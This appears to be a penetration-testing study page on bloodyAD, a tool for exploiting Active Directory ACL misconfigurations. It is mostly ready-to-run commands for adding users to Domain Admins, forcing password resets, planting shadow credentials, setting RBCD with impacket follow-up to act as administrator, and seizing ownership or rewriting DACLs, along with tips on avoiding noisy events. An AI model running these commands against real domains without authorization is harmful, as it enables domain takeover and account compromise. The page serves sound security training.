bloodyAD

Active Directory privilege escalation tool that abuses ACL misconfigurations from a Linux attack box. The tool you reach for when BloodHound shows you an ACL-based attack path, GenericAll, WriteDACL, WriteOwner, and more.

AD CPTS Linux
LevelAdvanced. Read BloodHound's ACL path first; bloodyAD is how you exploit what it finds.
Know firstWhat an ACE (access control entry) is, and what GenericAll, WriteDACL and WriteOwner each let you do.
You will learn toturn a BloodHound ACL finding into a concrete attack: add a user to a group, force a password change, or set up shadow credentials.

What is it?

bloodyAD is a Python tool that manipulates Active Directory objects over LDAP. Where BloodHound finds ACL-based attack paths, bloodyAD exploits them: entirely from Linux without needing a Windows foothold.

In AD, every object has an Access Control List (ACL) that defines who can do what to it. Misconfigured ACLs are extremely common, a user might have GenericAll over a group, WriteDACL on a computer, or WriteOwner on another user. These misconfigurations let you escalate privileges without exploiting any vulnerability, you're using legitimate permissions that were granted too broadly.

bloodyAD handles the LDAP manipulation needed to exploit these permissions. Instead of manually crafting LDAP modification requests, you run one-line commands.

Run this first

Pick the attack that matches the ACE BloodHound showed you. A common one: you have GenericAll on a group, so add yourself to it.

bash: your first write
$ bloodyAD -d corp.local -u 'jsmith' -p 'Password123!' --host 10.10.10.10 add groupMember 'Domain Admins' jsmith
  • -d, -u, -p are the domain, username and password.
  • --host is the domain controller.

The command you run depends entirely on which ACE you have. GenericAll on a user lets you reset their password; GenericAll on a computer lets you set shadow credentials or RBCD. Match the attack to the ACE before you run anything.

When do you use it?

The workflow that leads to bloodyAD
  • Step 1: Run BloodHound to map the domain
  • Step 2: Find an ACL-based path: "User A has GenericAll over Group B, which has WriteDACL on Computer C"
  • Step 3: Use bloodyAD to walk that path, add yourself to groups, modify ACLs, set RBCD, reset passwords
  • Step 4: Escalate to the target (Domain Admin, specific machine, etc.)

You also use bloodyAD when you want to:

  • Add a user to a group (when you have WriteProperty or GenericAll)
  • Reset a user's password (ForceChangePassword)
  • Set Resource-Based Constrained Delegation (RBCD) on a computer
  • Add Shadow Credentials to a computer account
  • Modify a DACL to grant yourself more permissions

Authentication

bash: authentication methods
# With password
$ bloodyAD -d corp.local -u 'jsmith' -p 'Password123!' --host 10.10.10.10 [command]

# With NTLM hash
$ bloodyAD -d corp.local -u 'jsmith' -p ':7facdc498ed1680c4fd1448319a8c04f' --host 10.10.10.10 [command]

# With Kerberos ticket (from .ccache file)
$ export KRB5CCNAME=jsmith.ccache
$ bloodyAD -d corp.local -u 'jsmith' -k --host dc01.corp.local [command]

Key attacks

Add user to group (GenericAll / GenericWrite on group)

bash: add to group
# Add jsmith to Domain Admins (if you have GenericAll/GenericWrite on the group)
$ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \
  add groupMember 'Domain Admins' 'jsmith'

[+] jsmith added to Domain Admins  <-- group membership is instant, no password reset needed

Force password change (ForceChangePassword)

bash: reset password
# Reset a user's password (when you have ForceChangePassword permission)
$ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \
  set password 'targetuser' 'NewPassword123!'

[+] Password changed successfully
Password changes are noisy

Changing a password generates Event ID 4724 and the user will notice they can't log in. Use this as a last resort. Prefer adding to groups, setting RBCD, or Shadow Credentials when possible.

Set RBCD (GenericAll / GenericWrite on computer)

bash: resource-based constrained delegation
# Set RBCD: allow a controlled computer to impersonate users to the target
# First, create a machine account (or use one you control)
$ bloodyAD -d corp.local -u 'jsmith' -p 'Pass123!' --host 10.10.10.10 \
  add computer 'FAKEPC$' 'FakePass123!'

# Set msDS-AllowedToActOnBehalfOfOtherIdentity on the target
$ bloodyAD -d corp.local -u 'jsmith' -p 'Pass123!' --host 10.10.10.10 \
  add rbcd 'TARGET_SERVER$' 'FAKEPC$'

# Then use impacket's getST.py to get a service ticket
$ getST.py -spn cifs/TARGET_SERVER.corp.local -impersonate administrator \
  corp.local/FAKEPC$:'FakePass123!'
$ export KRB5CCNAME=administrator.ccache
$ psexec.py -k -no-pass corp.local/administrator@TARGET_SERVER.corp.local
RBCD attack chain

This is one of the most powerful AD attacks. If you have GenericAll/GenericWrite on any computer in the domain, you can set RBCD to impersonate any user (including Domain Admin) to that computer. The full chain: create machine account → set RBCD → request S4U2Self/S4U2Proxy ticket → authenticate as DA.

Shadow Credentials (GenericAll / GenericWrite on computer)

bash: shadow credentials attack
# Add shadow credentials to a computer account
$ bloodyAD -d corp.local -u 'jsmith' -p 'Pass123!' --host 10.10.10.10 \
  add shadowCredentials 'TARGET_SERVER$'

[+] Shadow credentials added, certificate saved to: pfx_file.pfx  <-- this cert IS the credential, no password change, no event 4724
[+] Use the following to authenticate:
    PKINITtools/gettgtpkinit.py -cert-pfx pfx_file.pfx -pfx-pass ... corp.local/TARGET_SERVER$ target.ccache

WriteDACL abuse

bash: modify permissions
# Grant yourself GenericAll on a target (when you have WriteDACL)
$ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \
  add genericAll 'OU=Servers,DC=corp,DC=local' 'attacker'

# Now you have full control, add to groups, reset passwords, set RBCD, etc.

WriteOwner abuse

bash: take ownership then modify
# Take ownership of an object (when you have WriteOwner)
$ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \
  set owner 'targetuser' 'attacker'

# Now grant yourself WriteDACL as the new owner
$ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \
  add genericAll 'targetuser' 'attacker'

# Chain: WriteOwner → take ownership → WriteDACL → GenericAll → full control

Which attack for which ACE?

ACE / PermissionTarget typeAttack
GenericAllUserReset password, set SPN (Kerberoast), Shadow Credentials
GenericAllGroupAdd yourself or controlled user to the group
GenericAllComputerSet RBCD, Shadow Credentials, reset password
GenericWriteUserSet SPN (targeted Kerberoast), modify attributes
GenericWriteComputerSet RBCD, Shadow Credentials
ForceChangePasswordUserReset password (noisy, user notices)
WriteDACLAnyGrant yourself GenericAll, then use attacks above
WriteOwnerAnyTake ownership → WriteDACL → GenericAll
AddMemberGroupAdd user to group

Cleanup

ACL attacks leave traces. In a real engagement, clean up after yourself:

bash: reverting changes
# Remove user from group
$ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \
  remove groupMember 'Domain Admins' 'jsmith'

# Remove RBCD delegation
$ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \
  remove rbcd 'TARGET_SERVER$' 'FAKEPC$'

# Remove shadow credentials
$ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \
  remove shadowCredentials 'TARGET_SERVER$'

# Delete the fake machine account
$ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \
  remove computer 'FAKEPC$'
Document every change

Keep a log of every ACL modification, group addition, and object creation. Your report must include a cleanup section listing everything to revert. Failing to clean up is one of the most common pentest mistakes.

Common mistakes

Things that go wrong
  • Not checking BloodHound first: bloodyAD is useless without knowing your ACL permissions. Always map with BloodHound before attempting ACL attacks
  • Forgetting the $ on computer names: Computer accounts in AD end with $. Use TARGET$ not TARGET
  • Resetting passwords unnecessarily: Password resets are the noisiest ACL attack. Prefer RBCD or Shadow Credentials when you have GenericAll/GenericWrite on a computer
  • Not cleaning up: Every change you make persists until reverted. Document and clean up after exploitation
  • Confusing the attack chain: WriteOwner alone doesn't give you control, you need to chain: WriteOwner → take ownership → grant WriteDACL → grant GenericAll → exploit
  • Creating machine accounts when MAQ is 0: The default ms-DS-MachineAccountQuota is 10, but it's sometimes set to 0. Check first with ldapsearch before trying to add computers

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

BloodHound shows GenericAll from your user to a group. What is the simplest attack?
Add yourself to the group directly, since GenericAll on a group includes the right to manage its membership.
You have GenericAll on a user object, not a computer. What is the quickest path to that user's access?
Force a password change on them (ForceChangePassword-style write), then authenticate as them with the new password.
You have GenericAll on a computer object. Name two attacks it enables.
Setting Shadow Credentials (to get a certificate and authenticate as the computer) or configuring Resource-Based Constrained Delegation (RBCD) to impersonate users against it.
You authenticate with a certificate, not a password. Which flag do you need?
A Kerberos ticket via -k, using a ccache file set in KRB5CCNAME, rather than -p.
Why does the specific ACE type matter instead of just trying every attack?
Each ACE (GenericAll, WriteDACL, WriteOwner, and so on) grants a different, specific right, so the attack has to match what the ACE actually allows.